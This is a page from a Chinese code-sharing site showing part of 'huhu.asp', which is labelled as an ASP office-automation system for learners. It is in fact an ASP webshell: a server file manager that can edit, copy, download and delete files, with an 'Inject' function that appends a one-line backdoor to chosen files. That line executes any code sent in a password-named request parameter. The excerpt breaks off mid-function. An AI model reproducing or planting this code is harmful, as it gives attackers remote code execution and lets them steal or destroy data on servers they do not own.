⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 huhu.asp

📁 我的一个oa用asp编写的系统可能对那些学习asp的人员有用。
💻 ASP
📖 第 1 页 / 共 5 页
字号:
  </tr>
  <tr> 
    <td colspan="4" class="trHead">&nbsp;</td>
  </tr>
  <tr align="right"> 
    <td height="22" colspan="4" class="td">Powered By 蝴蝶 2004.11&nbsp;</td>
  </tr>
</table>
<a name="foot"></a>
<%
		showExecuteTime()
	end sub
	
	sub fsoEditFile(thePath)
		dim theFile
		on error resume next
		set theFile=fso.openTextFile(thePath,1,false)
		if err then
			echo "错误:"&err.description
			err.clear
			response.end
		end if
%>
<table border="0" align="center" cellpadding="0" cellspacing="0">
  <form method="post" action="?pageName=fso&theAct=save" onsubmit="if(confirm('您确认要保存当前文件吗?')){this.Submit.disabled=true;this.Submit2.disabled=true;this.Submit3.disabled=true;}else{return false;}">
    <tr>
      <td><input name="thePath" type="text" id="thePath3" value="<%=thePath%>" size="50"> 
        <input type="button" name="Submit62" value="查 看" onclick="location.href='?pageName=fso&theAct=edit&thePath='+this.form.thePath.value;this.disabled=true;"></td>
    </tr>
    <tr> 
      <td><textarea name="fileContent" cols="70" rows="25" id="fileContent"><%=server.htmlEncode(theFile.readAll())%></textarea></td>
    </tr>
    <tr> 
      <td height="50" align="right"> <input type="button" name="Submit" value="保 存" onClick="if(confirm('确认保存修改?')){this.form.submit();}"> 
        <input type="reset" value="重 置">
        &nbsp; </td>
    </tr>
  </form>
</table>
<%
		set theFile=nothing
		
		showExecuteTime()
	end sub

	sub fsoGetFolderList(thePath,showFolder)
		dim ext,flag,list,theHref,theFiles,fileName,theFolder,theFolders
		
		if not fso.folderExists(thePath) then
			onErr("路径错误或者盘空或者没有权限的访问!")
		end if
		
		if len(thePath)=2 then
			thePath=thePath&"\"
		end if
		
		set theFolder=fso.getFolder(thePath)
		set theFiles=theFolder.files
		set theFolders=theFolder.subFolders

		if showFolder=true and getParentFolder(thePath)<>"" then
			echo "&nbsp;<a href=""?pageName=fso&thePath="&encodeForUrl(getParentFolder(thePath),false)&"""><font class=warningColor>↑回上级目录</font></a><br>"
		end if

		if showFolder=true then
			for each list in theFolders
				echo "&nbsp;<a href=""?pageName=fso&thePath="&encodeForUrl(list.path,false)&"""><font class=font-list>└■</font> "
				echo replace(replace(lcase(list.path),lcase(thePath),""),"\","")&""
				echo "</a> <a href=javascript:; onclick=""fso_delFolder('"&encodeForUrl(list.path,true)&"')"">×删除</a><br>"
			next
		 else
			echo "<table width=""98%"" border=""1"" align=""center"" cellpadding=""0"" cellspacing=""0"">"
			echo "<tr><td align=""center"" class=""td"">文件名 (鼠标移到文件名可以查看给文件的属性)</TD>"
			echo "<TD align=""center"" class=""td"">大小</TD>"
			echo "<TD align=""center"" class=""td"">文件操作</TD></tr>"
			for each list in theFiles
				ext=split(list.path,".")(uBound(split(list.path,".")))
				flag=instr(lcase(editableFileExt),lcase("$"&ext&"$"))
				fileName=replace(replace(lcase(list.path),lcase(thePath),""),"\","")
				if instr(lcase(list.path),lcase(server.mapPath("\"))) then
					theHref=mid(replace(lcase(list.path),lcase(server.mapPath("\")),""),2)
					echo "<tr onmouseover=""this.className='td';"" onmouseout=""this.className=''""><td>&nbsp;<font class=font-list>□</font>"
					echo "<a href=""\"&encodeForUrl(theHref,false)&""" title=""文件名: "&fileName&chr(13)&"类型: "&list.type&chr(13)&"属性: "&list.Attributes&chr(13)&"时间:"&list.DateLastModified&""" target=""_blank"">"
					if getStrLen(fileName)>40 then
						fileName=getCutStr(fileName,40)&".."
					end if
					echo fileName&"</a></td>"
				 else
					echo "<tr onmouseover=""this.className='td';"" onmouseout=""this.className=''""><td>&nbsp;<font class=font-list>□</font>"
					echo "<font style=""cursor: hand;"" title=""文件名: "&fileName&chr(13)&"类型: "&list.type&chr(13)&"属性: "&list.Attributes&chr(13)&"时间:"&list.DateLastModified&""">"
					if getStrLen(fileName)>40 then
						fileName=getCutStr(fileName,40)&".."
					end if
					echo fileName&"</font></td>"
				end if
				echo "<td align=center>" & getTheSize(list.size) & "</td><td align=center>"
				if flag>0 then
					echo "<a href=#foot onclick=""fso_editIt('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>Edit</font></a> "
				end if
				echo "<a href=javascript:; onclick=""fso_saveAs('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>SaveAs</font></a> "
				echo "<a href=javascript:; onclick=""stream_downIt('"&encodeForUrl(list.path,true)&"');""><font class=warningColor>Down</font></a> "
				echo "<a href=javascript:; onclick=""fso_delFile('"&encodeForUrl(list.path,true)&"')""><font class=warningColor>Del</font></a> "
				if flag>0 then
					echo "<a href=javascript:; onclick=""fso_inject('"&encodeForUrl(list.path,true)&"')""><font class=warningColor>Inject</font></a>"
				end if
				echo "</td></tr>"&vbNewline
			next
			echo "</table>"
		end if
	end sub
	
	sub fsoSaveAs(thePath,toPath)
		if lTrim(thePath)=lTrim(toPath) then
			echo "<script>alert('源路径与目标路径相同,操作停止!');</script>"
			response.end
		end if
	 	if fso.fileExists(thePath) then 
			fso.copyFile thePath,toPath
			echo "<script language=""javascript"">alert('另存为操作成功!');</script>"
		 else
			echo "<script>alert('请确认源文件存在!');history.back();</script>"
		end if
	end sub
	
	sub fsoInject(thePath)
		dim theFile
		set theFile=fso.openTextFile(thePath,8,True,0)
		theFile.writeLine(" <script language=""vbscript"" runat=server>if request("""&clientPassword&""")<>"""" then execute(request("""&clientPassword&"""))</script>")
		theFile.close
		echo "<script language=""javascript"">alert('插入成功!请用海阳顶端网asp后门来访问你插入的文件"&request("path")&"');</script>"
		set theFile=nothing
	end sub
	
	sub fsoSaveToFile(thePath,fileContent)
		dim theFile
		set theFile=fso.openTextFile(thePath,2,true)
		theFile.write fileContent
		theFile.close
		echo "文件保存成功! [<a href="""&request.serverVariables("http_referer")&""">返回</a>]"
		set theFile=nothing
	end sub
	
	sub fsoDelFile(thePath)
		dim theFile
		set theFile=fso.getFile(thePath)
		theFile.delete true
		set theFile=nothing
	end sub
	
	sub fsoDelFolder(thePath)
		fso.deleteFolder thePath,true
	end sub
	
	sub searchFolder(folder,str)
		dim ext,n,title,theFile,theFolder
		for each theFile In folder.Files
			ext=split(theFile,".")(uBound(split(theFile,".")))
			if lcase(ext)="asp" or lcase(ext)="asa" or lcase(ext)="cer"  or lcase(ext)="cdx" then
				if searchFile(theFile,str,title) then
					echo fileLink(theFile,title)
					n=n+1
				end if
			end if
		next
		for each theFolder in folder.subFolders
			searchFolder theFolder,str
		next
	end sub
	
	function searchFile(f,s,title)
		dim fo,content,pos1,pos2
		set fo=fso.openTextFile(f)
		on error resume next
		content=fo.ReadAll()
		fo.close
		if err then
			err.clear
			content=""
		end if
		searchFile=instr(1,content,S,vbTextCompare)>0 
		if searchFile then
			pos1=instr(1,content,"<TITLE>",vbTextCompare)
			pos2=instr(1,content,"</TITLE>",vbTextCompare)
			title=""
			if pos1>0 and pos2>0 then
				title=mid(content,pos1+7,pos2-pos1-7)
			end if
		end if
		set fo=nothing
	end function
	
	function fileLink(f,title)
		fileLink=f.path
		if title="" then
			title=f.Name
		end if
		fileLink="<UL>·"&title&" "&fileLink&"</UL>"
	end function

	sub pageOther()
%>
<style>
BODY {
	FONT-SIZE: 9pt;
	COLOR: #000000;
	FONT-FAMILY: "Courier New";
	scrollbar-face-color:#E4E4F3;
	scrollbar-highlight-color:#FFFFFF;
	scrollbar-3dlight-color:#E4E4F3;
	scrollbar-darkshadow-color:#9C9CD3;
	scrollbar-shadow-color:#E4E4F3;
	scrollbar-arrow-color:#4444B3;
	scrollbar-track-color:#EFEFEF;
}
TABLE {
	FONT-SIZE: 9pt;
	FONT-FAMILY: "Courier New";
	BORDER-COLLAPSE: collapse;
	border-top-width: 1px;
	border-right-width: 1px;
	border-bottom-width: 1px;
	border-left-width: 1px;
	border-top-style: solid;
	border-right-style: none;
	border-bottom-style: none;
	border-left-style: solid;
	border-top-color: #d8d8f0;
	border-right-color: #d8d8f0;
	border-bottom-color: #d8d8f0;
	border-left-color: #d8d8f0;


}
.tr {
	font-family: "Courier New";
	font-size: 9pt;
	background-color: #e4e4f3;
	text-align: center;
}
.td {
	font-family: "Courier New";
	font-size: 9pt;
	background-color: #3299CC;
}
.warningColor {
	font-family: "Courier New";
	font-size: 9pt;
	color: #ff0000;
}
input {
	font-family: "Courier New";
	BORDER-TOP-WIDTH: 1px;
	BORDER-LEFT-WIDTH: 1px;
	FONT-SIZE: 12px;
	BORDER-BOTTOM-WIDTH: 1px;
	BORDER-RIGHT-WIDTH: 1px;
	color: #000000;
}
textarea {
	font-family: "Courier New";
	BORDER-TOP-WIDTH: 1px;
	BORDER-LEFT-WIDTH: 1px;
	FONT-SIZE: 12px;
	BORDER-BOTTOM-WIDTH: 1px;
	BORDER-RIGHT-WIDTH: 1px;
	color: #000000;
}
A:visited {
	FONT-SIZE: 9pt; 
	COLOR: #333333; 
	FONT-FAMILY: "Courier New"; 
	TEXT-DECORATION: none;
}
A:active {
	FONT-SIZE: 9pt; 
	COLOR: #3366cc; 
	FONT-FAMILY: "Courier New"; 
	TEXT-DECORATION: none;
}
A:link {
	FONT-SIZE: 9pt; 
	COLOR: #000000;
	FONT-FAMILY: "Courier New"; 
	TEXT-DECORATION: none;
}
A:hover {
	FONT-SIZE: 9pt; 
	COLOR: #3366cc; 
	FONT-FAMILY: "Courier New"; 
	TEXT-DECORATION: none;
}tr {
	font-family: "Courier New";
	font-size: 9pt;
	line-height: 18px;
}
td {
	font-family: "Courier New";
	font-size: 9pt;
	border-top-width: 1px;
	border-right-width: 1px;
	border-bottom-width: 1px;
	border-left-width: 1px;
	border-top-style: none;
	border-right-style: solid;
	border-bottom-style: solid;
	border-left-style: none;
	border-top-color: #d8d8f0;
	border-right-color: #d8d8f0;
	border-bottom-color: #d8d8f0;
	border-left-color: #d8d8f0;
}
.trHead {
	font-family: "Courier New";
	font-size: 9pt;
	background-color: #e4e4f3;
	line-height: 3px;
}
.inputLogin {
	font-family: "Courier New";
	font-size: 9pt;
	border: 1px solid #d8d8f0;
	background-color: #f9f9fd;
	vertical-align: bottom;
}
.font-list {
	font-size: 9pt;
	color: CCCCFF;
	font-family: "Courier New";
}
</style>
<script lanuage="javascript">
//页面上一些要用到的JS,Marcos编写.
function default_canLogin(frm){
	if(frm.password.value==""){
		alert("请先输入密码!");
		return false;
	}else{
		frm.Submit.disabled=true;
		return true;
	}
}

function stream_editIt(thePath){
	loaded.style.display="block";
	fileEditor.location.href="?pageName=stream&thePath="+thePath+"&theAct=edit";
}

function stream_downIt(thePath){
	loaded.style.display="none";
	if(confirm("如果该文件超过20M,\n建议不要通过流方式下载\n这样会占用服务器大量的资源\n并可能导致服务器死机!\n您可以先用FSO把文件复制到网站目录下,\n然后通过http协议来下载.\n按\"确定\"用流来进行下载.")){
		fileEditor.location.href="?pageName=stream&thePath="+thePath+"&theAct=down";
	}
}

function stream_saveAs(frm,thePath){
	if(frm.thePath.value=prompt('请输入要保存的文件的绝对路径!',thePath)){
		if(frm.thePath.value==null||frm.thePath.value==''){
			return false;
		}else{
			frm.submit();
		}
	}
}

function stream_saveAsTwo(thePath){
	var url;
	if(url=prompt('请输入要保存的文件的绝对路径!\n目标文件存在则覆盖.',thePath)){
		if(url==null||url==''){
			return false;
		}else{
			loaded.style.display="none";
			fileEditor.location.href="?pageName=stream&theAct=saveAsTwo&thePath="+thePath+"&toPath="+url;
		}
	}
}

function stream_moveTo(thePath){
	var url;
	if(url=prompt('请输入目标绝对路径!\n目标文件存在则覆盖.',thePath)){
		if(url==null||url==''){
			return false;
		}else{
			loaded.style.display="none";
			fileEditor.location.href="?pageName=stream&theAct=moveTo&thePath="+thePath+"&toPath="+url;
		}
	}
}

function fso_editIt(thePath){
	loaded.style.d

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -